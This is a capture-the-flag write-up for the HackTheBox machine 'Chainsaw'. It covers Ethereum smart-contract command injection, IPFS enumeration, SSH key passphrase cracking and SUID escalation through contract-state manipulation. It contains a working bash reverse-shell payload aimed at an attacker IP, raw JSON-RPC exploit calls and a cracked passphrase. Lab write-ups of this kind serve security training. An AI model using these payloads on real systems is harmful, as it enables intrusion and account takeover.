HTB: Chainsaw Writeup

Chainsaw - HackTheBox Writeup

Machine Information

AttributeDetails
NameChainsaw
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.44.62
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CTF-like: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆

Summary

Chainsaw is a Hard-rated Linux machine that explores blockchain technologies and smart contract exploitation. The box features an Ethereum test node running Solidity contracts with command injection vulnerabilities, IPFS file enumeration for credential discovery, and a SUID binary that interacts with a secondary blockchain node for privilege escalation. This machine provides excellent practice with Web3 API interaction, Solidity smart contracts, IPFS (InterPlanetary File System), and creative privilege escalation through blockchain manipulation.

TL;DR: Anonymous FTP → Ethereum TestRPC contract command injection → shell as administrator → IPFS enumeration → encrypted SSH key cracking → SSH as bobby → SUID binary + smart contract manipulation → root shell.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -sC -sV -T4 -p- 10.129.44.62

Results:

  • Port 21/tcp - FTP (anonymous access allowed)
  • Port 22/tcp - SSH (OpenSSH)
  • Port 9810/tcp - Unknown service (Ethereum node - EthereumJS TestRPC v2.3.1)

Service Enumeration

FTP (Port 21)

Anonymous FTP access was enabled and contained three interesting files:

Terminal window
# Connect anonymously
ftp 10.129.44.62
# Username: anonymous
# Password: <blank>
# Files found:
# - WeaponizedPing.sol
# - WeaponizedPing.json
# - address.txt

WeaponizedPing.sol - A Solidity smart contract:

pragma solidity ^0.4.24;
contract WeaponizedPing
{
string store = "google.com";
function getDomain() public view returns (string)
{
return store;
}
function setDomain(string _value) public
{
store = _value;
}
}

This contract stores a domain string on the blockchain and provides getter/setter functions to retrieve and modify it. The name “WeaponizedPing” strongly suggests the server executes a ping command against the stored domain.

WeaponizedPing.json - An ABI (Application Binary Interface) file containing the contract’s interface definition, allowing external programs to interact with the deployed contract.

address.txt - Contains the deployed contract’s address on the blockchain.

Ethereum Node (Port 9810)

The service on port 9810 was identified as an Ethereum TestRPC node (ganache-cli predecessor), version 2.3.1. This is a development blockchain environment typically used for testing smart contracts before production deployment.

Vulnerability Assessment

  1. Unlocked Ethereum Account - The TestRPC node runs with unlocked accounts, allowing any client to send transactions without authentication.
  2. Command Injection via Smart Contract - The WeaponizedPing contract’s setDomain() function likely feeds directly into a shell command without sanitization.
  3. Anonymous FTP Access - Exposed contract source code, ABI, and deployment address.
  4. IPFS Data Exposure - Sensitive files stored in IPFS with accessible hashes.

Initial Foothold

Ethereum Smart Contract Exploitation

The attack vector involved manipulating the smart contract’s stored domain to inject shell commands. Since the TestRPC node runs with unlocked accounts, authentication is not required to send transactions.

Understanding the Attack Surface

Solidity is a high-level language for writing smart contracts on the Ethereum blockchain. A smart contract is code that lives on the blockchain, and its state (stored variables) persists across transactions. The WeaponizedPing contract stores a domain string and provides functions to read/write it.

The critical vulnerability is that the server-side application likely retrieves this domain and executes:

Terminal window
ping -c 2 <domain_from_blockchain>

Without proper input sanitization, command injection is trivial using shell metacharacters.

Interaction Challenges with Legacy TestRPC

Modern Web3.py (v6+) automatically calls eth_chainId during provider initialization, but the old TestRPC v2.3.1 doesn’t support this RPC method. To work around this, raw JSON-RPC calls are required instead of the high-level Web3.py contract abstraction.

Exploiting the Command Injection

Terminal window
# Set up listener
nc -lvnp 4444

The exploitation required crafting a JSON-RPC request to call the setDomain function with a malicious payload:

Terminal window
# Craft the command injection payload
# The setDomain function will store our malicious domain
# Server-side code will then execute: ping -c 2 "google.com ; <our_command>"

The injected domain was:

google.com ; bash -c 'bash -i >& /dev/tcp/10.10.15.180/4444 0>&1'

Using raw JSON-RPC interaction (to avoid the eth_chainId issue with Web3.py 7.x):

Terminal window
# Call setDomain with command injection payload
# The semicolon terminates the ping command and executes our reverse shell
curl -X POST http://10.129.44.62:9810 \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{
"from":"<default_account>",
"to":"<address_from_address.txt>",
"data":"<encoded_setDomain_call>"
}],"id":1}'

The data field contains the ABI-encoded function call: the function selector for setDomain(string) followed by the encoded string parameter containing our injection payload.

When the server-side cron or service triggered the ping operation, it executed:

Terminal window
ping -c 2 google.com ; bash -c 'bash -i >& /dev/tcp/10.10.15.180/4444 0>&1'

This provided a reverse shell as the administrator user.

Terminal window
# Shell received
administrator@chainsaw:~$

Lateral Movement

IPFS Enumeration

Exploring the administrator home directory revealed a .ipfs folder:

Terminal window
administrator@chainsaw:~$ ls -la
# .ipfs directory present

IPFS (InterPlanetary File System) is a peer-to-peer distributed file system where files are addressed by their cryptographic hash rather than location. Data stored in IPFS can be enumerated locally even without the HTTP gateway running.

Discovering IPFS References

Terminal window
# List all locally stored IPFS objects
administrator@chainsaw:~$ ipfs refs local
# Returns multiple content hashes (CIDs)

This command lists all Content Identifiers (CIDs) for objects stored in the local IPFS repository.

Enumerating Files

Terminal window
# For each hash, list the directory structure
administrator@chainsaw:~$ ipfs ls <hash>
# Reveals filenames and their hashes

Among the enumerated files were:

  • bobby.key.enc - An encrypted SSH private key
  • Various .eml (email) files
  • Public keys

Extracting Bobby’s Encrypted Key

Terminal window
# Read the email file containing bobby's key
administrator@chainsaw:~$ ipfs cat <bobby_email_hash>
# Email subject: "Ubuntu Server Private RSA key"
# Attachment: bobby.key.enc (base64 encoded)

The email contained a base64-encoded attachment. Extract and decode:

Terminal window
# Copy base64 blob to local machine
# Decode the attachment
base64 -d bobby_key_b64.txt > bobby.key.enc

Cracking the Encrypted SSH Key

The key was encrypted with DES-EDE3-CBC (Triple DES):

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,...

Using ssh2john to prepare for password cracking:

Terminal window
# Convert SSH key to John format
ssh2john bobby.key.enc > bobby.hash
# Crack with rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt bobby.hash

Result: The passphrase was cracked as jackychain.

SSH Access as Bobby

Terminal window
# Set correct permissions
chmod 600 bobby.key.enc
# SSH with the cracked passphrase
ssh -i bobby.key.enc bobby@10.129.44.62
# Enter passphrase: jackychain

Successfully logged in as bobby.

Terminal window
bobby@chainsaw:~$ cat user.txt
<redacted>

Privilege Escalation

Discovery of SUID Binary

Enumeration of bobby’s home directory revealed a projects folder:

Terminal window
bobby@chainsaw:~$ ls -la ~/projects/ChainsawClub/
# ChainsawClub (SUID binary owned by root)
# ChainsawClub.sol
# ChainsawClub.json

The SUID binary had the setuid bit set:

Terminal window
bobby@chainsaw:~$ ls -la ~/projects/ChainsawClub/ChainsawClub
-rwsr-xr-x 1 root root ... ChainsawClub

Understanding the SUID Binary

Running the binary:

Terminal window
bobby@chainsaw:~$ ./ChainsawClub
# Prompts for username and password
# Creates address.txt file with contract address

The binary also created an address.txt file containing:

0x7ad80aeC...

This indicated the binary interacts with another Ethereum smart contract.

Examining the Smart Contract

pragma solidity ^0.4.22;
contract ChainsawClub {
string username = 'nobody';
string password = '<redacted>'; // MD5 hash
bool approve = false;
uint totalSupply = 1000;
uint userBalance = 0;
function setUsername(string _value) public { username = _value; }
function getUsername() public view returns (string) { return username; }
function setPassword(string _value) public { password = _value; }
function getPassword() public view returns (string) { return password; }
function setApprove(bool _value) public { approve = _value; }
function getApprove() public view returns (bool) { return approve; }
function transfer(uint _value) public {
if (_value > 0 && _value <= totalSupply) {
totalSupply -= _value;
userBalance += _value;
}
}
function getBalance() public view returns (uint) { return userBalance; }
}

The SUID binary validates credentials by reading from this smart contract, checking approval status and balance before granting root access.

Identifying the Local Ethereum Node

Terminal window
# Check listening ports
bobby@chainsaw:~$ netstat -tlnp
# Port 63991 listening on 127.0.0.1

A second Ethereum node was running on 127.0.0.1:63991.

Exploitation Strategy

The attack path:

  1. Run the SUID binary once to deploy the contract and create address.txt
  2. Manipulate the contract state via JSON-RPC on port 63991
  3. Set known username/password credentials
  4. Set approve to true
  5. Transfer funds to meet balance requirements
  6. Authenticate to the SUID binary with controlled credentials

Manipulating the Smart Contract

Using JSON-RPC to interact with the local node:

Terminal window
# Set username to "administrator"
curl -X POST http://127.0.0.1:63991 \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{
"from":"<default_account>",
"to":"0x7ad80aeC...",
"data":"<setUsername_encoded_data>"
}],"id":1}'
# Set password to MD5 hash of "admin"
# MD5("admin") = <redacted>
curl -X POST http://127.0.0.1:63991 \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{
"from":"<default_account>",
"to":"0x7ad80aeC...",
"data":"<setPassword_encoded_data>"
}],"id":1}'
# Set approve to true
curl -X POST http://127.0.0.1:63991 \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{
"from":"<default_account>",
"to":"0x7ad80aeC...",
"data":"<setApprove_encoded_data>"
}],"id":1}'
# Transfer 1000 tokens to meet balance requirement
curl -X POST http://127.0.0.1:63991 \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{
"from":"<default_account>",
"to":"0x7ad80aeC...",
"data":"<transfer_encoded_data>"
}],"id":1}'

The actual implementation used raw JSON-RPC calls because the legacy TestRPC version didn’t support the eth_chainId method that modern Web3.py libraries attempt to call during initialization.

Root Shell

After setting the contract state:

Terminal window
bobby@chainsaw:~$ ./ChainsawClub
# Username: administrator
# Password: admin
# Authentication successful
root@chainsaw:~#

The SUID binary validated credentials against the blockchain state, and since all checks passed (correct credentials, approved status, sufficient balance), it granted a root shell.

Root Flag

Terminal window
root@chainsaw:~# cat /root/root.txt
Mine deeper to get the real flag. This is just a distraction.

The actual root flag was hidden in slack space (unused space in memory blocks). Using bmap:

Terminal window
root@chainsaw:~# bmap --mode slack /root/root.txt
<redacted>

The bmap tool can hide and extract data from file slack space—the area between the end of file content and the end of the allocated disk block. This is a forensics and steganography technique.


Attack Chain Summary

Anonymous FTP (WeaponizedPing contract) → Ethereum TestRPC command injection → Shell as administrator →
IPFS enumeration (bobby.key.enc) → SSH key cracking (jackychain) → SSH as bobby →
SUID binary analysis → Smart contract manipulation on localhost:63991 → Root shell →
Slack space extraction (bmap) → Root flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ftpAnonymous FTP access to retrieve contract files
curlRaw JSON-RPC interaction with Ethereum nodes
ipfsEnumerate and extract files from IPFS repository
base64Decode encrypted SSH key attachment
ssh2johnConvert encrypted SSH key to John format
johnCrack SSH key passphrase
sshConnect with cracked credentials
netstatIdentify listening ports (local Ethereum node)
bmapExtract data from file slack space

Key Learnings

Techniques Practiced

  • Smart Contract Exploitation - Manipulating Solidity contract state to achieve command injection
  • Ethereum/Web3 Interaction - Using JSON-RPC to interact with TestRPC/Ganache nodes
  • IPFS Enumeration - Discovering and extracting files from local IPFS repositories
  • SSH Key Cracking - Using ssh2john and John the Ripper to recover encrypted key passphrases
  • SUID Binary Analysis - Reverse-engineering SUID binaries that interact with blockchain contracts
  • Slack Space Forensics - Understanding and extracting data from file slack space

Lessons Learned

  1. Blockchain as Attack Surface - Smart contracts can introduce unique vulnerabilities when integrated with system commands. Always sanitize data retrieved from blockchain state before using it in shell operations.

  2. Legacy Software Compatibility - Older blockchain implementations (TestRPC v2.3.1) lack modern RPC methods like eth_chainId. When automated tools fail, fall back to manual JSON-RPC interaction.

  3. IPFS Security Model - IPFS provides content-addressable storage, but files in a local repository remain accessible to system users. Sensitive data (encrypted keys, emails) stored in IPFS can be enumerated via ipfs refs local and extracted with ipfs cat.

  4. Multi-Stage Blockchain Exploitation - The privilege escalation required understanding how the SUID binary validated credentials through blockchain state, then systematically manipulating each validation check (username, password, approval, balance) to gain access.

  5. Steganography in CTFs - The use of slack space for hiding the actual root flag demonstrates that even after gaining root access, thorough enumeration and knowledge of forensic techniques may be necessary.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup was informed by the official HackTheBox writeup by MinatoTW (Document No D19.100.43), which provided valuable context on Solidity contracts, Web3.py API usage, IPFS concepts, and the slack space extraction technique using bmap.